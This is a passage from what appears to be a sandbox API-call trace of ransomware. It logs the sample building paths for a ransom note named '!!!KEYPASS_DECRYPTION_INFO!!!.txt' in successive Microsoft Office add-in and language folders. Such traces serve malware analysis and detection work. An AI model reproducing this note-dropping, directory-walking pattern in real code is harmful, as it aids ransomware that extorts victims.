Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.895] GetFileType (hFile=0x136c) returned 0x1 [0273.896] CloseHandle (hObject=0x136c) returned 1 [0273.896] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.896] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.896] GetLastError () returned 0x3f0 [0273.896] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.896] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.897] GetFileType (hFile=0x1370) returned 0x1 [0273.898] CloseHandle (hObject=0x1370) returned 1 [0273.899] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.899] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.899] GetLastError () returned 0x3f0 [0273.899] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.899] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.900] GetFileType (hFile=0x1374) returned 0x1 [0273.900] CloseHandle (hObject=0x1374) returned 1 [0273.900] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.900] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.900] GetLastError () returned 0x3f0 [0273.901] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.901] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.940] GetFileType (hFile=0x1368) returned 0x1 [0273.941] CloseHandle (hObject=0x1368) returned 1 [0273.942] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.942] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.942] GetLastError () returned 0x3f0 [0273.942] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.942] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.946] GetFileType (hFile=0x1378) returned 0x1 [0273.947] CloseHandle (hObject=0x1378) returned 1 [0273.947] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.947] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.947] GetLastError () returned 0x3f0 [0273.947] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.947] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.951] GetFileType (hFile=0x137c) returned 0x1 [0273.952] CloseHandle (hObject=0x137c) returned 1 [0273.952] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.952] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.952] GetLastError () returned 0x3f0 [0273.952] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.952] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.989] GetFileType (hFile=0x1384) returned 0x1 [0273.990] CloseHandle (hObject=0x1384) returned 1 [0274.001] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.001] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.001] GetLastError () returned 0x3f0 [0274.001] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1025\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1025\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.001] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1025\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.036] GetFileType (hFile=0x1380) returned 0x1 [0274.037] CloseHandle (hObject=0x1380) returned 1 [0274.037] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.037] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.037] GetLastError () returned 0x3f0 [0274.037] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1026\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1026\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.037] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1026\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.038] GetFileType (hFile=0x1388) returned 0x1 [0274.038] CloseHandle (hObject=0x1388) returned 1 [0274.038] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.039] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.039] GetLastError () returned 0x3f0 [0274.039] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\10266\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\10266\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.039] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\10266\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.039] GetFileType (hFile=0x138c) returned 0x1 [0274.040] CloseHandle (hObject=0x138c) returned 1 [0274.040] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.040] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.040] GetLastError () returned 0x3f0 [0274.040] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1027\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1027\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.040] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1027\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.040] GetFileType (hFile=0x1390) returned 0x1 [0274.041] CloseHandle (hObject=0x1390) returned 1 [0274.041] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.041] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.041] GetLastError () returned 0x3f0 [0274.041] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1028\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1028\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.041] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1028\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.137] GetFileType (hFile=0x1394) returned 0x1 [0274.138] CloseHandle (hObject=0x1394) returned 1 [0274.138] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.138] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.138] GetLastError () returned 0x3f0 [0274.138] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1029\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1029\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.138] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1029\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.144] GetFileType (hFile=0x139c) returned 0x1 [0274.145] CloseHandle (hObject=0x139c) returned 1 [0274.145] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.145] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.146] GetLastError () returned 0x3f0 [0274.146] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1030\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1030\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.146] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1030\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.173] GetFileType (hFile=0x13a0) returned 0x1 [0274.174] CloseHandle (hObject=0x13a0) returned 1 [0274.174] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.174] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.174] GetLastError () returned 0x3f0 [0274.174] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1031\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1031\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.174] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1031\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.186] GetFileType (hFile=0x13a4) returned 0x1 [0274.187] CloseHandle (hObject=0x13a4) returned 1 [0274.187] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.187] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.187] GetLastError () returned 0x3f0 [0274.187] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1032\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1032\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.187] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1032\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.188] GetFileType (hFile=0x1398) returned 0x1 [0274.189] CloseHandle (hObject=0x1398) returned 1 [0274.189] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.189] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.189] GetLastError () returned 0x3f0 [0274.189] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.189] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.190] GetFileType (hFile=0x13a8) returned 0x1 [0274.191] CloseHandle (hObject=0x13a8) returned 1 [0274.191] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.191] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.191] GetLastError () returned 0x3f0 [0274.191] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1035\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1035\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.191] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1035\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.191] GetFileType (hFile=0x13ac) returned 0x1 [0274.192] CloseHandle (hObject=0x13ac) returned 1 [0274.192] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.192] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.192] GetLastError () returned 0x3f0 [0274.192] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1036\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1036\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.192] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1036\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.193] GetFileType (hFile=0x13b0) returned 0x1 [0274.194] CloseHandle (hObject=0x13b0) returned 1 [0274.194] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.194] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.194] GetLastError () returned 0x3f0 [0274.194] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1037\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1037\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.194] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1037\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.195] GetFileType (hFile=0x13b4) returned 0x1 [0274.196] CloseHandle (hObject=0x13b4) returned 1 [0274.196] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.196] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.196] GetLastError () returned 0x3f0 [0274.196] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1038\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1038\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.196] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1038\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") 